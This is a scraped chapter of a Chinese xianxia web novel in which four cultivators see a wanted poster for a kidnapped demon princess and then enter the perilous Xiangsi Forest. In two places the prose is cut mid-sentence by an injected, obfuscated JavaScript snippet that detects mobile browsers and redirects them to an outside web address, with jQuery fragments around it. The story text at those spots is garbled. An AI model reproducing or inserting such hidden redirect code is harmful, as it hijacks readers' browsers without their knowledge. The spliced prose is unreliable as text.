黑市位于沉音剑冢上方,公主的首饰流落出宫,确实可能被搜罗到两百年一度、最热闹的盛会市集上。 剑匣里也安静下来,萧缘并未反驳。 林暗喃喃道:“萧道长真是……人不可貌相啊。怪不得连偃鸣道君都没能抓住所谓的‘魔修妖女’,原来如此。” 白翎好奇地问:“咋啦,萧大哥长相欠佳?” 林暗说:“不至于。只是客观来说,萧道长不以外表闻名,确实不在此道出类拔萃。” 白翎:“哦……” 他更好奇了。萧缘作为没个性、没追求、没修为的三无修士,竟然还没有得天独厚的脸,那公主喜欢他什么?连珠真人不是说他俩一见钟情吗。 在白翎看来,一见钟情多为见色起意。不过,没等他细想,林暗驱散灵蝶,拉开了屏风。 灵蝶寻踪有一缺陷,只能觅得时间或距离最近的目标,而且不甚聪慧。若有附着了同样气息的物体,它们便会受其干扰。 有珠钗在,灵蝶们自然不会去找沉音公主本尊,所以围着白翎团团转。 四人往大厅走去,欲向掌柜打探公主的近况。不料门口有嘈杂声起,一队魔修突然闯入,似一阵黑色的旋风,顷刻间刮去了内院。 白翎微讶道:“好大的来头,是黑市的官兵吗?好像去问镜家的院子了……” 诸葛悟上前扶起被魔修们撞倒的小厮,问:“你还好吗。” 小厮一瘸一拐地爬起来,忙不迭行礼:“多谢仙君,多谢仙君!哎哟我去……这群老爷今日是怎么了?一句话不说,硬往里冲。魔尊亲卫也不能在黑市横行霸道吧!” 白翎跟了上来,问:“魔尊亲卫?” “是啊小道长,你看他们样子,一袭黑袍、全副铁甲,全身上下只露着眼睛,吓人得很!沉音魔尊前阵子来的黑市,掌柜说了,惹谁都不能惹他们……” 小厮扯出比哭还难看的笑,去抹治跌打损伤的药油了。掌柜迎上来赔罪,然而不待他说什么,两名身着辖司官服的魔修走进来,招呼道:“掌柜的,贴点东西。” 掌柜忙去指引他们,到专门张贴告示的墙边。 但是两名辖司人员不满意,直接走到柜台后,掏出一卷朱砂写就的黄纸,往一丈见方的玉雕画上一拍。 掌柜咬着手绢儿道:“天爷呀,非得贴这儿不成吗?到底何事有如此阵仗,还拿镶边黄纸、写着红彤彤的血字儿来了!” 辖司人员说:“还没得到风声吧?沉音公主在黑市被绑了!” 白翎挑起幕篱垂纱的一角,觑那黄纸。 修士的目力大大强于凡人,即便相隔甚远,他也能看得一清二楚。 果不其然,正在涂浆糊的第一张黄纸上,打着“十万火急”的钤印。其上内容不出白翎所料,讲的是沉音魔尊半个月前造访黑市,携妹妹沉音公主同游。 但在数天前,公主出行时遭到道修绑架,下落不明。如有提供相关讯息、或是砍下此道修项上人头者,赏黄金十万两! 白翎嘀咕道:“绑架?魔尊那边是这样说的?‘此道修’就是萧大哥吧,杀他的赏金是我和阿响的十倍耶!” 林暗道:“两百年前便听说,魔尊极为疼爱一母同胞的妹妹,看来传闻不虚。” 白翎则想起了前一日的异状——徐景没回湖下山庄的时候,他在露台上吹风,发现街上的魔修们愁云笼罩,似有大事发生。 原来是公主失踪之事? 昨日只在魔修间流传,今天纸包不住火,公告都贴到道修聚集的客栈来了。 魔尊亲卫们旋风似的杀到,不消片刻,又旋风似的冲了出来,转眼便无影无踪。 显然,他们来晚了一步。连珠真人发现萧缘不见之后,定料到了情况不对,已经打包好一家老小,去投奔师尊偃鸣道君了。或许,他们早就知道萧缘的私奔对象是魔域公主,所以才跑得如此之快。 白翎一面腹诽连珠真人隐瞒关键信息,一面心下微松,庆幸仙友们暂时脱险。 与此同时,黑市辖司的人员贴好了第二张黄纸,正是绑架公主的罪犯画像。 白翎忍不住道:“原来他们有好画师啊!” 只见寥寥数笔,勾勒出一名温文秀气的男子。论其容貌,确实谈不上惊艳,也无什么仙姿。但他神态闲适,眉眼间一团柔和,嘴角自然微弯,仿佛正注视着画外,谦逊地聆人所言。 不得不说,萧缘是让人难以生出敌意的长相。不过他的通身色彩十分之淡,五官气质更是百分之淡,若放在人堆里,找都找不出来。 林暗安慰白翎道:“画得如此惟妙惟肖,光凭画技难以达成,只可能出自萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14328943|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道长的身边人之手。大概是公主思念他所作,被魔尊用来通缉了。” 辖司人员对掌柜三令五申,在魔尊逮住案犯、找回公主前,不许他撤下公告,否则定要治他个包庇之罪。 清雅绝伦的玉雕画被两张红字黄纸贴住,掌柜眼泪汪汪。 白翎一时无言,因为只有他们知道,萧缘已经是一缕亡魂了。 问镜一脉和沉音魔域双方大乱,殊不知此事早成了死结。 正当他发呆时,裴响忽然开口,道:“玉雕画,是一张地图。” “嗯?” 白翎闻声望去,发现确实如此:黑市飞宫被黄纸挡住了,但其下方的沉音剑冢,可观全貌。万里赤地被狼牙斜峰环抱,仅在东部有一片山林。山林最不起眼的角落,刻着“相思林”三个字。 得来全不费工夫! 白翎高兴地勾住师弟肩头,说:“阿响怎么这么厉害?” 他眯眼扫视四周,压低声音道:“公主来黑市卖了剑匣,又没回魔宫,说不定一直跟着我们,监视我们去给萧大哥报仇……” 裴响被他扑得一怔,不过稳稳当当地接住了,只道:“黑市的辖司人员还在……你,你收敛些。” 他们四人的确醒目,饶是白翎和裴响有作伪饰、诸葛悟亦将衣上的金纹淡去,还是极易吸引外人的目光。 在辖司魔修看过来的前一刻,诸葛悟将手一挥,把两名师弟变成绒布偶,收进了袖中。 他向林暗侧首道:“请。” 二人不疾不徐地走出扶摇小筑,在他们身后,两名辖司人员面露狐疑,道:“好神气的道修……是哪家的大能?喂掌柜的,他俩是在你家下榻的住客么?” “啊?不不不,那两位是来走亲访友的。奇怪,还有两位小道长去哪了……” “走的什么亲、访的什么友?” 掌柜语塞,冲抹药的小厮喊道:“辖司爷爷问你话呢!” 小厮连忙翻开登记的籍册,道:“他们探访的是……是天字一号的住客,问镜一脉的道长们。” “什么?!” 辖司魔修和掌柜异口同声,面面相觑。他们拔腿奔到客栈门口,不过此时的大街上人来人往,哪还有刚才一男一女的影子? — 魔域辽阔,与人界各据一方,将神州大地一分为二。 而在魔域之上,魔窟万千,当今势头最盛、势力最强的四家,分别落在东西南北,各有修为臻至万境的魔尊坐镇。 沉音剑冢与借骨西山、折仙浮屠、射日海天齐名,并称为四大魔窟。其之所以得名如此,是因为据于南方,离秘境最近,是道修们入魔域后、冲击的第一道防线。 千百年来,不知多少能人异士,陨落于此。 折戟沉沙,残兵林立。在三轮冷月的清辉下,如一望无际的乱葬岗。乱的是遍地血刃,葬的是无尽仙魔,寒风沉沉过境,以无主孑立的刀剑为弦,拨动永夜不绝的长歌。 诸葛悟的双剑交错于足尖,载着他们展月一脉三人,往相思林的方向飞掠。 林暗亦御剑疾驰,提着剑匣。两道并行的遁光划过深青色天幕,足足一个时辰后,终于窥见了目的地。 53.五十三、绣球 那是一片阴云笼罩的山野。 浓雾翻滚不休,阻挡了从云端俯瞰的视线。 尚未靠近,已有馥郁的兰花香直刺鼻端。若非两位真人定力极佳,寻常的道修来此,必然会直接坠落,摔得不死也残,化作春泥更护花。 谨慎起见,诸葛悟和林暗降落在了密林的边缘。 一条陈年石径通往山野深处,一块不起眼的石碑立在路口,刻着歪歪斜斜的“相思林”。石碑旁边,矗着一块巨大的木板,上书几列黑字: “活够了就进去!” “前有恶妖,专吃道侣!” “入内后果自负,全是鳏夫寡妇!” 魔域民风狂野,可见一斑。连警告都写得如此不拘一格。 诸葛悟的袖摆鼓动,两只绒布偶先后钻出来,化回人形。白翎扶正幕篱,一眼瞧见木板,“哇”了一声。 他接过剑匣,冲里面说:“萧大哥,我们到地方咯。你非不说话,我们就直奔兰花妖王去了哈。” “笃笃”两声,似作回答。 白翎环顾四周,并未发现他人的身影。按理说,公主费尽心机引他们来报仇,即便不露面,也该跟着监督才是。 但他们御剑途中,无人跟踪;来到此地,依然没瞧见公主半根头发。白翎按下疑惑,抬脚要往树林里去,不料突然有人发话: “站住,站住。先取通关符牒!” 白翎脚停在空中,见鬼似的左右一看,明明没人啊。 嘶哑粗粝的嗓音又响起了,愤怒地说:“往哪儿瞅呢?地上,地上!” 白翎循声低头,这才意识到声音是刻着“相思林”的石碑发出来的。 他蹲下身道:“买票进场吗?多少钱一个人呀。我师弟没成年,算不算半票?” 裴响跟在白翎身后,看着他讲,好像习惯了被白翎叭叭,什么也没说。 石碑很不高兴地道:“你瞎胡咧啥呢?听不懂!相思林有相思林的规矩,成双入对的才能进去!你们谁和谁是一对?” 白翎问:“就想参观不行?” 他说罢往里走两步,兰香扑鼻。石碑哼道:“无知小儿,无知小儿!” 石碑话音落下,白翎便感到了不对,又退出来。 裴响道:“香气有异?” “这香味会阻碍灵力流通——”白翎胆大包天,不仅没怕,还转身招呼诸葛悟,“师兄你来试试!” 诸葛悟抬手将香雾引至面前,略作体会。 林暗则取出一枚解毒丸,递给白翎:“白师弟,谨慎为妙。” “谢、谢谢真人……但这个……”白翎看着黑糊糊一大颗的丹药犯怵。 林暗无奈道:“糖衣的。” “真人最好了!”白翎笑眯眯地接过丹药扔嘴里。有点噎嗓子,不过他的灵力迅速恢复正常,显然吃的是好东西。 诸葛悟道:“此地的瘴气可渗入发肤,以我的修为,亦难阻挡。” 元婴期修士百毒不侵,寻常的毒物根本近不了身,可见兰香诡异。但若灵气在脉中凝滞,堪称万般凶险:轻则御剑撞树,重则与妖物大战时突然发不动招,顷刻毙命。 石碑怒道:“香雾!香雾!你才是瘴气,你祖宗十八代都是瘴气!兰花妖王的体香护佑相思林,不守规矩的全部毒死,哈哈哈哈!” 听它的意思,只有情侣进林子,才能免受毒性影响。四人退到数丈开外,诸葛悟布下法阵,防止讨论的声音外泄。 半晌没人说话。 直到林暗轻叹一声,道:“事关重大,名誉皆是身外之物,我也不是什么墨守成规之徒。既然相思林有此等约束,我们分作两组,假装道侣便是。白师弟,你那套女修道服呢?再换上吧。” 听她这么说,另三人程度不一地松了口气。毕竟林暗是女子,这种事要看唯一的异性是否愿意。 白翎在师兄与他们汇合之后,便换回了常穿的白布道袍,现下听了林暗的安排,眼珠子悄悄地转向诸葛悟。 好在林暗都冒清誉受损的风险了,诸葛悟自然不会介意师弟散德行,道:“可以。林真人与谁一组相宜?” 林暗轻笑道:“我无所谓。不过,两位师弟一组比较好吧?” 裴响倏地眨了下眼,垂眸不语。 白翎用胳膊肘捅他,笑嘻嘻地问:“阿响想和谁一组呀?” “既然林真人已经作了表率,我自然没有二话。”裴响见三人都看着他,立即转身,先往相思林的入口去了。 白翎知道他又害羞了,哈哈笑出声。不过,师弟没有断然拒绝、脸红得像被恶霸调戏,实在是天大的进步。 白翎捏诀更衣,追上去道:“夫君等我!” 此言一出,裴响刹那止步。白翎没收住脚,差点撞得他一同扑倒在石碑跟前。 白翎的仙剑慢悠悠探出头来,发现主人叫的不是自己,又悄悄缩了回去。 裴响脸色涨红,道:“你——” 石碑哼道:“世风日下,人心不古!行了都进去吧。” 白翎抱拳摇了摇,笑嘻嘻道:“谢啦谢啦。” 石碑只是个给妖王干活的,守门守得脾气很差,但是并不细究他们的来历。符合“出双入对”的要求,便能睁一只眼闭一只眼地放人。 所谓的“通关符牒”,其实是萤火虫。四点微光飞起,跟在四人身侧,驱散了方寸间的香雾。 他们先后步入山林,很快,头顶被茂密的枝叶遮盖,连月光也难瞧见。 眼前的情景与梦境越发相似,于白翎和裴响而言,堪称故地重游。树冠间漏出荧蓝色的幽光,将林间小路映照得扑朔迷离。 不过,遍地的兰花不见了。 白翎摸了摸脚边的低矮植物,只有茎叶、而无花朵。花朵哪去了? 熟悉的窸窸窣窣声响起,他在梦里听到过。白翎倏地抬头,瞥见远处有花色一闪而逝,连片地隐入了丛林之中。 他蜷起手,道:“我梦见的兰花,难道都是……” 一只只沉睡的兰花螳螂。 裴响忽然拉住白翎,让他止步。微弱的气流在林间游走,漾动暧昧的香气,同时带来了一丝极难察觉的腥味。 四人之中,只有裴响嗅出了馥郁芬芳里,那一星半点的腐坏气息。他很快锁定了异味的来源,拔剑拨开垂落的藤蔓。 一具残尸仰倒在杂草间,死得有些年头了,皮肉都化成薄薄的一层膜,黏在隐约显形的骨架上。说是残尸,因为他的下半身不翼而飞,好像被一口齐腰咬断的一般。 白翎挪到师弟背后,探头道:“好……好露骨。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14341063|145892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 气氛本来凝重,被他一句话打破。林暗不禁轻笑,上前观察片刻,道:“是个魔修,看来没经受住兰花螳螂的考验啊。” 白翎小声道:“我梦里也没有腿,不会是梦见变成这哥们儿了吧……” 林暗说:“无妨,我在梦里少了大半个头,什么都看不见。幸好留了一只耳朵,才循声找去了你们那边。继续走吧。” 想起破庙,白翎加快了步伐,很快来到了他梦中睁眼的芳草地。除了途中有一名吊死的女修挡路,还算畅通无阻。 终于,四人穿过密林,来到了山崖边。但出乎白翎意料的是,走到此地开始,眼前的景象便截然不同了: 高崖环抱的花谷仍在,不过浓云密布天空,挡住了繁星。天上不亮地上亮,谷地中心的小庙不见踪迹,取而代之的是一座辉煌殿宇。 缥缈的乐声传来,华灯点满城楼。朱墙黛瓦、玉柱金梁,其间妖郎仙姝,人影绰约,欢宴已至浓酣时。 白翎忍不住多看了几眼,问:“这就是我们要经受的考验?” 无人回答,白翎察觉不对,转过身。 不知何时起,他的身后已空无一人。裴响、诸葛悟、林暗,都不见了。 白翎:“……” 白翎叹气道:“考验这么大啊。” — 魔域的夜永无停歇,相思林位于沉音剑冢的一角,似将八方夜色攥了过来。翻涌的香雾笼罩上空,天地间只剩宫殿一处光源,金灿灿灯火通明。 白翎行走在谷地的花丛里,白衣沾满露水。 他确认了,身畔尽是兰花,即便如此,依然走得小心翼翼。万一哪朵花突然向他抬起镰刀前足,还是怪吓人的。 不知为何,白翎心底发毛。明明不是头回来到人生地不熟的鬼地方,他也不是胆小之辈,但这次就是和以前不一样。 可能因为小师弟不在身边? 不知裴响现在如何了。 四人被分开,白翎没必要担心诸葛悟和林暗,就是放心不下裴响。虽然他眼下是泥菩萨过江,自身难保,未卜的前路尚不知有何等妖魔鬼怪。 高空的浓云涌动得更加剧烈,有形成漩涡的迹象,其中心正对着下方的宫殿。歌声舞乐亦愈发鲜明,几乎在往白翎耳朵里挤,诱使着他靠近。 不过,白翎走到殿门前的丹墀停住,仰头观望天色。 他分明记得梦里有一片星空,应该是花谷原本的风貌。显然,萧缘死后,公主出逃,引发了兰花妖王的防备。 或许妖王料到了会有人前来寻仇,已经等候多时了,把他们分开也是有意为之。可惜退也没法退,既然已来到此地,那便只能是明知山有虎,偏向虎山行。 白翎屈指一弹腰间的铃铛,并没有传来诸葛悟的回音。此地实在古怪,好像把信号屏蔽了似的。 幸好,剑匣还在。白翎正想把“新阳”拿出来问问萧缘怎么个事儿,忽然有个东西砸在他头上。 白翎捂住脑袋,发出轻哼。 一枚绣球滚落于地,高处传来女子们的笑声,似大片蝴蝶同时振翅。白翎抬手掩住过亮的灯光,透过手指间隙,瞧见一群妙龄女郎你推我搡的,作势还要拿绣球丢他。 白翎将脚边的绣球捡起来,高声问道:“是哪位姐姐掉的?”